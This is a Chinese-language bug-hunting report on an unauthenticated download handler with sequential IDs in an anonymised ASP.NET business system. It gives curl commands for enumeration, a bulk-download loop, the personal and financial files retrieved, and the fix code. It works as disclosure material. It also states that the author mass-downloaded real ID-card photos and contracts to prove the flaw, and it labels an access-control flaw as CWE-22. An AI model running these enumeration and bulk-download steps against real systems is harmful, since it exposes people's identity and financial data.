任意文件下载漏洞挖掘报告

一、漏洞概述

项目	内容
漏洞类型	任意文件下载 (CWE-22)
风险等级	严重 (CRITICAL)
CVSS 评分	9.8
影响范围	全部业务敏感数据

—

二、目标信息

项目	内容
目标系统	某企业业务管理系统 (SMP)
目标域名	target.example.com
服务器	Microsoft-IIS/10.0
框架	ASP.NET 4.8.9316.0
.NET 版本	4.0.30319

—

三、漏洞发现过程

3.1 信息收集

首先对目标进行基本信息收集：

# DNS 解析
nslookup target.example.com

# HTTP 信息
curl -I https://target.example.com

发现：

服务器: Microsoft-IIS/10.0
X-Powered-By: ASP.NET

3.2 端点枚举

通过多种方式枚举目标端点：

1. 页面链接提取

访问首页，提取所有链接：

curl https://target.example.com | grep -oE 'href="[^"]*"'

2. JS 文件分析

分析 JavaScript 文件中的 API 端点：

# 下载 JS 文件
curl https://target.example.com/Scripts/common/app.js -o app.js

# 提取 URL
grep -oE '["\'][^"\']*\.(aspx|ashx|asmx)["\']' app.js

3. 目录枚举

枚举常见目录和文件：

# 常见 ASP.NET 路径
/CommonLibs/
/Handlers/
/Forms/
/api/

发现的端点：

14 个 CommonLibs 页面
11 个 Handlers
多个 API 端点

3.3 Handler 深入分析

对发现的 Handler 进行深入测试：

# 测试 Handler 访问
curl https://target.example.com/Handlers/AppHandler.ashx

响应：

[Exception: 不允许未登录访问！]
   App.Web.Handlers.AppHandlerBase.ProcessRequest(HttpContext context) 
   in C:\Work\C#\项目名\SourceCode\项目名_缩写\项目名.Web\Handlers\AppHandlerBase.cs:43
   
版本信息: Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.8.9316.0

发现：

源码路径泄露
系统版本信息泄露
CustomErrors mode=“Off”

3.4 下载 Handler 测试

测试下载 Handler：

# 测试无参数访问
curl https://target.example.com/Handlers/AppDownloadHandler.ashx

响应： 200 OK (0 bytes)

发现： Handler 可访问，无需认证！

3.5 参数枚举

测试各种参数：

# 测试 id 参数
curl "https://target.example.com/Handlers/AppDownloadHandler.ashx?id=1"
curl "https://target.example.com/Handlers/AppDownloadHandler.ashx?id=2"
curl "https://target.example.com/Handlers/AppDownloadHandler.ashx?id=3"

响应：

HTTP/1.1 200 OK
Content-Type: application/x-zip-compressed
Content-Disposition: attachment;filename=2022年Q3业务数据汇总.xlsx
Content-Length: 57954

发现：

id 参数有效
返回真实文件
无需认证

3.6 批量下载验证

批量下载验证漏洞：

# 批量下载
for i in $(seq 1 100); do
  curl -s "https://target.example.com/Handlers/AppDownloadHandler.ashx?id=$i" \
    -o "file_$i" \
    -w "ID $i: %{http_code} %{size_download} bytes\n"
done

结果：

成功下载 83 个文件
总大小 71.66 MB
包含敏感数据

—

四、漏洞验证

4.1 手动验证

# 下载单个文件
curl "https://target.example.com/Handlers/AppDownloadHandler.ashx?id=1" -o test.xlsx

# 检查文件内容
file test.xlsx
# 输出: Microsoft Excel 2007+

4.2 文件内容

下载的文件包含：

文件类型	数量	敏感级别
Excel 报表	22	中
图片文件	20	低
合同扫描件	8	高
财务凭证	5	高
身份证照片	3	极高

4.3 敏感数据示例

身份证照片：

员工A身份证.jpg (134KB)
员工B身份证.jpg (109KB)
员工C身份证.jpg (145KB)

合同扫描件：

供应商A2022年合同_00.jpg ~ _07.jpg

财务凭证：

分公司A费用报销单.jpg (1.2MB)
分公司A打款凭证1.jpg (549KB)

—

五、漏洞原理

5.1 漏洞代码分析

// AppDownloadHandler.ashx.cs (推测)
public void ProcessRequest(HttpContext context)
{
    string id = context.Request.QueryString["id"];
    
    // 未验证用户身份
    // 未验证文件权限
    // 直接根据 ID 返回文件
    
    var file = GetFileById(id);
    context.Response.ContentType = "application/octet-stream";
    context.Response.AddHeader("Content-Disposition", "attachment;filename=" + file.Name);
    context.Response.WriteFile(file.Path);
}

5.2 漏洞原因

缺少身份验证 - Handler 未验证用户登录状态
缺少权限控制 - 未检查用户是否有权访问文件
可预测的 ID - 使用自增 ID，可遍历

—

六、影响分析

6.1 数据泄露

泄露规模： 83 个文件，71.66 MB
受影响人员： 3 名员工（身份证泄露）
业务影响： 全部业务数据可被下载

6.2 合规风险

违反《个人信息保护法》
违反《网络安全法》
违反《数据安全法》

6.3 潜在攻击场景

身份盗用 - 身份证照片可被用于身份盗用
财务欺诈 - 合同、凭证可被用于财务欺诈
商业间谍 - 销售数据可被竞争对手获取

—

七、修复建议

7.1 立即修复

public void ProcessRequest(HttpContext context)
{
    // 1. 验证用户身份
    if (!IsAuthenticated(context))
    {
        context.Response.StatusCode = 401;
        return;
    }
    
    string id = context.Request.QueryString["id"];
    
    // 2. 验证文件权限
    if (!HasPermission(context.User, id))
    {
        context.Response.StatusCode = 403;
        return;
    }
    
    // 3. 返回文件
    var file = GetFileById(id);
    // ...
}

7.2 长期修复

使用随机文件名 - 避免可预测的 ID
记录访问日志 - 便于审计追踪
实施访问控制 - 基于角色的权限管理
文件加密存储 - 防止直接访问

—

八、时间线

时间	事件
T+0	发现 Handler 可访问
T+1h	发现 id 参数有效
T+2h	批量下载验证成功
T+3h	确认敏感数据泄露
T+24h	报告提交
T+48h	漏洞修复

—

九、工具清单

工具	用途
curl	HTTP 请求
Python	自动化脚本
Burp Suite	抓包分析
浏览器	手动测试

—

十、经验总结

Handler 是重点关注对象 - ASP.NET Handler 常有权限问题
参数枚举很重要 - 测试各种参数组合
批量验证不可少 - 确认漏洞可利用性
敏感数据要记录 - 作为漏洞证据

—

报告完成时间： 2026-05-28

报告人： Chaos